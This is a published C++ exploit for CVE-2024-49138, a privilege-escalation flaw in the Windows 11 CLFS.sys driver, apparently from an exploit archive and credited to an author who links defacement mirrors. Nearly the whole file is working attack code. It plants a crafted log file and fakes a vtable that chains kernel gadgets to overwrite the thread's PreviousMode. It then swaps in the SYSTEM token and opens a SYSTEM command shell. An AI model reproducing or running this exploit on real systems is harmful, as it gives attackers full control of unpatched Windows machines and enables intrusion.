# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # CVE: CVE-2024-49138 #include #include #include #include #include #include #include #include #include #include #include "resource.h" #define CONTROL_BLOCK_SIZE 0x400 #define OFFSET_EXTENDED_STATE 0x84 #define OFFSET_IEXTENDED_BLOCK 0x88 #define OFFSET_IFLUSHB_BLOCK 0x8c #define _CRT_SECURE_NO_WARNINGS 1 //dt nt!_KTHREAD current //+ 0x230 UserAffinityPrimaryGroup : 0 //+ 0x232 PreviousMode : 1 '' //+ 0x233 BasePriority : 15 '' //+ 0x234 PriorityDecrement : 0 '' //+ 0x234 ForegroundBoost : 0y0000 //+ 0x234 UnusualBoost : 0y0000 //+ 0x235 Preempted : 0 '' //+ 0x236 AdjustReason : 0 '' //+ 0x237 AdjustIncrement : 0 '' //+ 0x238 AffinityVersion : 0x14 //+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX //WINDBG > dq ffffc201419e1080 + 0x232 L1 //ffffc201`419e12b2 00140000`00000f01 //WINDBG > ? nt!PoFxProcessorNotification - nt //Evaluate expression : 3861424 = 00000000`003aebb0 //WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt //Evaluate expression : 8324768 = 00000000`007f06a0 //WINDBG > ? nt!PsActiveProcessHead - nt //Evaluate expression : 12812128 = 00000000`00c37f60 #define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0 #define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0 #define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60 #define ACTIVEPROCESSLINKS_OFFSET 0x448 #define UNIQUEPROCESSID_OFFSET 0x440 #define TOKEN_OFFSET 0x4b8 #define TOKENPRIVILEGESPRESENT_OFFSET 0x40 #define TOKENPRIVILEGSENABLED_OFFSET 0x48 #pragma comment(lib, "Clfsw32.lib") LPVOID GetKernelBaseAddress() { LPVOID drivers[1024]; // Array to hold driver addresses DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers int driverCount; TCHAR driverName[MAX_PATH]; // Enumerate loaded device drivers if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { printf("Failed to enumerate device drivers. Error: %lu\n", GetLastError()); return (LPVOID)0x0; } driverCount = cbNeeded / sizeof(drivers[0]); if (driverCount == 0) { printf("No device drivers found.\n"); return (LPVOID)0x0; } // The first driver is usually the Windows kernel LPVOID kernelBaseAddress = drivers[0]; // Retrieve the name of the kernel driver if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) { printf("Kernel Base Address: 0x%p\n", kernelBaseAddress); printf("Kernel Name: %ls\n", driverName); } else { printf("Failed to retrieve kernel name. Error: %lu\n", GetLastError()); } return kernelBaseAddress; } #define SystemHandleInformation 0x10 #define SystemHandleInformationSize 1024 * 1024 * 2 using fNtQuerySystemInformation = NTSTATUS(WINAPI*)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); // Definitions for NTSTATUS and system calls using fNtReadVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesRead); using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten); fNtReadVirtualMemory NtReadVirtualMemory = NULL; fNtWriteVirtualMemory NtWriteVirtualMemory = NULL; // handle information typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; // handle table information typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; PVOID GetKAddrFromHandle(HANDLE handle) { ULONG returnLength = 0; fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); ULONG numberOfHandles = handleTableInformation->NumberOfHandles; HeapFree(GetProcessHeap(), 0, handleTableInformation); handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100); NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100, &returnLength); for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; if (handleInfo.HandleValue == (USHORT)handle && handleInfo.UniqueProcessId == GetCurrentProcessId()) { return handleInfo.Object; } } } LPVOID g_ntbase = 0; LPVOID address_to_write; //Final byte = kthread.previousMode = 0 DWORD64 value_to_write = 0x0014000000000f00; //BOOL SwapTokens() { // DWORD64 eprocess = 0; // ULONG bytesRead = 0; // DWORD64 systemtoken = 0; // DWORD64 currenttoken = 0; // DWORD pid = 0; // DWORD64 privileges = 0x0000001ff2ffffbc; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); // eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); // // // while (1) { // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); // // eprocess -= ACTIVEPROCESSLINKS_OFFSET; // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); // std::cout << "pid = " << pid << std::endl; // // if (pid == GetCurrentProcessId()) // break; // } // // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), ¤ttoken, sizeof(currenttoken), NULL); // // // // //clears refcnt // currenttoken = currenttoken & 0xfffffffffffffff0; // // printf("performing NtWriteVirtualMemory..\n"); // // getchar(); // // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL); // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken + TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL); // // // NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, 0x8, NULL); // // return TRUE; //} int main() { HMODULE hModule; HRSRC hResource; errno_t err; HGLOBAL hLoadedResource; LPVOID pResourceData; DWORD resourceSize; FILE* file; DWORD sectorsPerCluster; DWORD bytesPerSector; DWORD numberOfFreeClusters; DWORD totalNumberOfClusters; const char* rootPath = "C:\\"; PVOID marshallingArea = NULL; ULONGLONG pcbContainer = 0; std::wstring logFileName = L"LOG:"; std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf"; logFileName += inputName; DWORD64 buf = 0; ULONG bytesRead = 0; LPVOID PreviousModeAddr = NULL; DWORD threadId = GetCurrentThreadId(); // Get the current thread ID DWORD64 eprocess = 0; DWORD64 systemtoken = 0; DWORD64 currenttoken = 0; DWORD64 pid = 0; BYTE PreviousMode = 0x1; DWORD64 privileges = 0x0000001ff2ffffbc; const char* directoryName1 = "C:\\temp"; const char* directoryName2 = "C:\\temp\\testlog"; HANDLE logHndl = INVALID_HANDLE_VALUE; ULONGLONG cbContainer = (ULONGLONG)0x80000; //Creating directories with the baselog and container file if (CreateDirectoryA(directoryName1, NULL)) { printf("Directory created successfully: %s\n", directoryName1); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName1); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } if (CreateDirectoryA(directoryName2, NULL)) { printf("Directory created successfully: %s\n", directoryName2); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { printf("The directory already exists: %s\n", directoryName2); } else { printf("Failed to create the directory. Error code: %lu\n", error); return 0; } } //creating BLF logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); return 0; } else { printf("file opened successfully\n"); } //creating and adding container to BLF if (!AddLogContainer(logHndl, &cbContainer, (LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) { printf("AddLogContainer failed with error %d\n", GetLastError()); } else { printf("AddLogContainer successful\n"); } //closing BLF CloseHandle(logHndl); // Initialize variables hModule = GetModuleHandle(NULL); if (!hModule) { printf("Failed to get module handle.\n"); return 1; } // Find the resource in the executable hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); if (!hResource) { printf("Failed to find resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hResource); // Load the resource into memory hLoadedResource = LoadResource(hModule, hResource); if (!hLoadedResource) { printf("Failed to load resource. Error: %lu\n", GetLastError()); return 1; } printf("hResource = 0x%p\n", hLoadedResource); // Lock the resource to get a pointer to its data pResourceData = LockResource(hLoadedResource); if (!pResourceData) { printf("Failed to lock resource. Error: %lu\n", GetLastError()); return 1; } printf("pResourceData = 0x%p\n", pResourceData); // Get the size of the resource resourceSize = SizeofResource(hModule, hResource); if (resourceSize == 0) { printf("Failed to get resource size. Error: %lu\n", GetLastError()); return 1; } // At this point, pResourceData points to the binary data, and resourceSize contains its size printf("Resource size: %lu bytes\n", resourceSize); // Example: Write the resource data to a file err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb"); if (err == 0 && file) { fwrite(pResourceData, 1, resourceSize, file); fclose(file); printf("Resource written to output.bin successfully.\n"); } else { printf("Failed to open output file. Error code: %d\n", err); } //preparing data structures in memory g_ntbase = GetKernelBaseAddress(); NtReadVirtualMemory = (fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtReadVirtualMemory"); NtWriteVirtualMemory = (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtWriteVirtualMemory"); if (!NtReadVirtualMemory || !NtWriteVirtualMemory) { printf("Failed to get addresses for NtReadVirtualMemory or NtWriteVirtualMemory\n"); return -1; } printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory); printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory); // Open a real handle to the current thread HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId); if (threadHandle == NULL) { printf("Failed to get real handle to the current thread. Error: %lu\n", GetLastError()); return 1; } //0x232 = offset to _KTHREAD.PreviousMode address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle)) + 0x232); auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memset(pcclfscontainer, 0, 0x1000); auto vtable = (DWORD64)pcclfscontainer + 0x100; auto rcx = pcclfscontainer; *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200; *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase + DBGKPTRIAGEDUMPRESTORESTATE_OFFSET; //arg1 of DBGKPTRIAGEDUMPRESTORESTATE *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300; auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300; //address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember It writes at offset 0x2078 of where *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) = (DWORD64)address_to_write - 0x2078; //value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) = 0x0014000000000f00; ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase + POFXPROCESSORNOTIFICATION_OFFSET; *(PDWORD64)pcclfscontainer = (DWORD64)vtable; printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer); printf("address_to_write = 0x%p\n", (DWORD64)address_to_write); HANDLE processHandle = GetCurrentProcess(); // Get the current process handle // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) { printf("Process priority set to REALTIME_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } threadHandle = GetCurrentThread(); if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) { printf("Thread priority set to the highest level: TIME_CRITICAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("triggering vuln..."); logHndl = CreateLogFile(logFileName.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0); if (logHndl == INVALID_HANDLE_VALUE) { printf("CreateLogFile failed with error %d\n", GetLastError()); } else { printf("file opened successfully\n"); } // Set the process priority to HIGH_PRIORITY_CLASS if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) { printf("Process priority set to NORMAL_PRIORITY_CLASS.\n"); } else { DWORD error = GetLastError(); printf("Failed to set process priority. Error code: %lu\n", error); return 1; } if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) { printf("Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.\n"); } else { DWORD error = GetLastError(); printf("Failed to set thread priority. Error code: %lu\n", error); return 1; } printf("vuln triggered\n"); printf("reading base of ntoskrnl to check we have arbitrary read/write\n"); NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL); printf("buf = 0x%p\n", (DWORD64)buf); printf("swapping tokens...\n"); NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase + PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); while (1) { NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL); eprocess -= ACTIVEPROCESSLINKS_OFFSET; NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL); if (pid == (DWORD64)GetCurrentProcessId()) break; } printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET); printf("systemtoken = 0x%p\n", systemtoken); printf("Overwriting process token..\n"); NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET), &systemtoken, sizeof(systemtoken), NULL); printf("token swapped. Restoring PreviousMode and spawning system shell...\n"); PreviousModeAddr = address_to_write; PreviousMode = 0x1; NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode, sizeof(PreviousMode), NULL); system("cmd.exe"); return 0; }